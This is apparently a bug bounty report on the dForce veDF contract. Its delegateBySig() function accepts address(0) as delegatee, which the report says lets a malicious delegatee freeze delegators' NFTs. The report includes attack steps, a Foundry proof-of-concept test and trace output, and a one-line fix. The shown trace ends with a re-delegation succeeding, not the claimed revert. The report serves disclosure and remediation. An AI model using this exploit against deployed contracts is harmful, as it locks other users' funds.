# delegateBySig() does not validate the delegatee address

## Vulnerability details

function delegateBySig doesn't cover case when delegatee = address(0), malicious users can lock other user's NFT(funds).

The delegateBySig() function does not validate the delegatee address.

when call delegateBySig(delegatee=address(0)), the delegatee is still self, but user checkpoints.votes will be reduced.
it will cause the NFT(funds) of the user being delegate to be locked, can no set other delegatee or NFT transfer

https://etherscan.io/address/0x6050B7040cF4Ae3e60c3c1A5d0367B565a1460C1#writeContract

https://etherscan.io/address/0xce9f614371b0f505a39fc179485e60b585b7b232#code#F6#L151

    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) public {
        bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
        bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
        address signatory = ecrecover(digest, v, r, s);
        require(signatory != address(0), "veDF::delegateBySig: invalid signature");
        require(nonce == nonces[signatory]++, "veDF::delegateBySig: invalid nonce");
        require(now <= expiry, "veDF::delegateBySig: signature expired");
        return _delegate(signatory, delegatee);
    }

## POC:

step1 - Alice has 1 NFT, Bob has 1 NFT, and Bob's delegatee is Alice, then Alice's Checkpoints.votes=2

step2 - Alice transfers its own NFT to Carol, then Alice's Checkpoints.votes=1

step3 - Alice call delegateBySig(address(0)), after Alice's Checkpoints.votes=0

step4 - Now Bob cannot modify the delegatee, nor can he transfer NFTs(funds). In fact, they are locked

What will happen will be as follows:

If Bob wants to transfer NFT or set a new delegatee, it will call _moveDelegates()

https://etherscan.io/address/0xce9f614371b0f505a39fc179485e60b585b7b232#code#F6#L236

    function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint96 srcRepNew = sub96(srcRepOld, amount, "veDF::_moveVotes: vote amount underflows");
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

Here also because srcRep = Alice, and the Alice's Checkpoints.votes=0, _moveDelegates() reverts with an underflow error due to subtracting amount from 0.

The same thing, i.e. locking of NFTs(funds), can happen to the user himself as well:

If user A votes to address 0 in the delegateBySig function, _delegates[A] will be address 0 and getCurrentVotes(A) will return 0.

https://etherscan.io/address/0xce9f614371b0f505a39fc179485e60b585b7b232#code#F6#L220

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = delegates[delegator];
        uint96 delegatorBalance = balances[delegator];
        delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

Later, if user A votes to another address or transfers NFT, the _moveDelegates function will fail due to underflow, which makes user A lose votes forever and cannot transfer NFT(funds).

### Recommended mitigation

Consider preventing vote delegations to address(0)

require(delegatee != address(0), 'invalid delegatee');

## impact

As a result of the things mentioned above, the impact of this vulnerability is that a user cannot transfer his NFTs and they are locked.

And more importantly, even a malicious user can lock the NFTs of other users that have already been delegated to him.

Loss of user funds staked (principal) by freezing

Permanent freezing of funds

References

https://docs.compound.finance/v2/governance/

## POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";
import {veDF} from "../src/contracts/veDF/veDF.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import { ECDSA } from '@openzeppelin/contracts/cryptography/ECDSA.sol';

contract veDFTest is Test {
    veDF public df;
   
    //address public minter = makeAddr('minter');
   
    IERC20Upgradeable public owner;
   
   
    address public bob = vm.addr(1);
   
    uint256 privateKey = 0xBEEF;
    address public alice = vm.addr(privateKey);

    //address nouner;
    //uint256 nounerPK;

    function setUp() public {
        df = new veDF(owner);
       
        //(nouner, nounerPK) = makeAddrAndKey('nouner');
    }

    function test_delegate() public {

        deal(address(df), bob, 1);
        deal(address(df), alice, 1);

        df.balanceOf(bob);


        vm.startPrank(bob);
       
        df.delegate(bob);
       
        vm.stopPrank();
       
       

        vm.startPrank(alice);
       
        df.delegate(alice);
       
        vm.stopPrank();
       
       
        df.getCurrentVotes(address(bob));
        df.getCurrentVotes(address(alice));
       
       
       
        vm.startPrank(bob);
       
        df.delegate(alice);
       
        vm.stopPrank();
       
       
        df.getCurrentVotes(address(bob));
        df.getCurrentVotes(address(alice));
       
       

        vm.startPrank(alice);
       
        address delegatee = address(0);
        uint nonce = 0;
        uint expiry = 10e9;
       
        (uint8 v, bytes32 r, bytes32 s) = signDelegation(delegatee, nonce, expiry, privateKey);
        df.delegateBySig(delegatee, nonce, expiry, v, r, s);        


        //df.delegate(delegatee);
       
        vm.stopPrank();
       
        df.getCurrentVotes(address(bob));
        df.getCurrentVotes(address(alice));
       
       
       
        address recipient = makeAddr('recipient');
       
        vm.startPrank(bob);
       
        df.delegate(recipient);
       
        vm.stopPrank();
       
        df.getCurrentVotes(address(bob));
        df.getCurrentVotes(address(alice));
    }
   
    function signDelegation(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint256 pk
    )
        internal
        returns (
            uint8 v,
            bytes32 r,
            bytes32 s
        )
    {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'),
                keccak256(bytes(df.name())),
                getChainId(),//block.chainid,
                address(df)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(
                keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)'),
                delegatee,
                nonce,
                expiry
            )
        );

        return vm.sign(pk, ECDSA.toTypedDataHash(domainSeparator, structHash));
    }

function getChainId() public view returns (uint256) {
    uint256 id;
    assembly {
id := chainid()
}
return id;
}
}

forge test -C test/veDF.t.sol -vvvvv

   ├─ [1002] veDF::getCurrentVotes(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← 1
    ├─ [1002] veDF::getCurrentVotes(0x6E9972213BF459853FA33E28Ab7219e9157C8d02) [staticcall]
    │   └─ ← 1
    ├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [10146] veDF::delegate(0x6E9972213BF459853FA33E28Ab7219e9157C8d02)
    │   ├─ emit DelegateChanged(delegator: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, fromDelegate: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, toDelegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02)
    │   ├─ emit DelegateVotesChanged(delegate: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, previousBalance: 1, newBalance: 0)
    │   ├─ emit DelegateVotesChanged(delegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, previousBalance: 1, newBalance: 2)
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [1002] veDF::getCurrentVotes(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← 0
    ├─ [1002] veDF::getCurrentVotes(0x6E9972213BF459853FA33E28Ab7219e9157C8d02) [staticcall]
    │   └─ ← 2
    ├─ [0] VM::startPrank(0x6E9972213BF459853FA33E28Ab7219e9157C8d02)
    │   └─ ← ()
    ├─ [606] veDF::name() [staticcall]
    │   └─ ← "dForce Vote Escrow Token"
    ├─ [0] VM::sign("<pk>", 0x76a690b48a9d81576de1e3b2464bdec1d47d57409747cc670045c7d0be307dda) [staticcall]
    │   └─ ← 28, 0x007288849759805932b3d79dcec4aa3fca4d0cc2ba7f79c709ffd19c949f15db, 0x7c7ced9785228185c49313fa483f5e4a055020afdca14a1d4b84e4e4cdc27028
    ├─ [33334] veDF::delegateBySig(0x0000000000000000000000000000000000000000, 0, 10000000000 [1e10], 28, 0x007288849759805932b3d79dcec4aa3fca4d0cc2ba7f79c709ffd19c949f15db, 0x7c7ced9785228185c49313fa483f5e4a055020afdca14a1d4b84e4e4cdc27028)
    │   ├─ [3000] PRECOMPILES::ecrecover(0x76a690b48a9d81576de1e3b2464bdec1d47d57409747cc670045c7d0be307dda, 28, 202362777539834160459513462163843317718192396442140578288055800661834405339, 56307522059214417633862325377358433100761655815381003368140570141718621614120) [staticcall]
    │   │   └─ ← 0x0000000000000000000000006e9972213bf459853fa33e28ab7219e9157c8d02
    │   ├─ emit DelegateChanged(delegator: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, fromDelegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, toDelegate: 0x0000000000000000000000000000000000000000)
    │   ├─ emit DelegateVotesChanged(delegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, previousBalance: 2, newBalance: 1)
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [1002] veDF::getCurrentVotes(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← 0
    ├─ [1002] veDF::getCurrentVotes(0x6E9972213BF459853FA33E28Ab7219e9157C8d02) [staticcall]
    │   └─ ← 1
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5]
    ├─ [0] VM::label(recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5], "recipient")
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [53780] veDF::delegate(recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5])
    │   ├─ emit DelegateChanged(delegator: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, fromDelegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, toDelegate: recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5])
    │   ├─ emit DelegateVotesChanged(delegate: 0x6E9972213BF459853FA33E28Ab7219e9157C8d02, previousBalance: 1, newBalance: 0)
    │   ├─ emit DelegateVotesChanged(delegate: recipient: [0x006217c47ffA5Eb3F3c92247ffFE22AD998242c5], previousBalance: 0, newBalance: 1)
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [1002] veDF::getCurrentVotes(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← 0
    ├─ [1002] veDF::getCurrentVotes(0x6E9972213BF459853FA33E28Ab7219e9157C8d02) [staticcall]
    │   └─ ← 0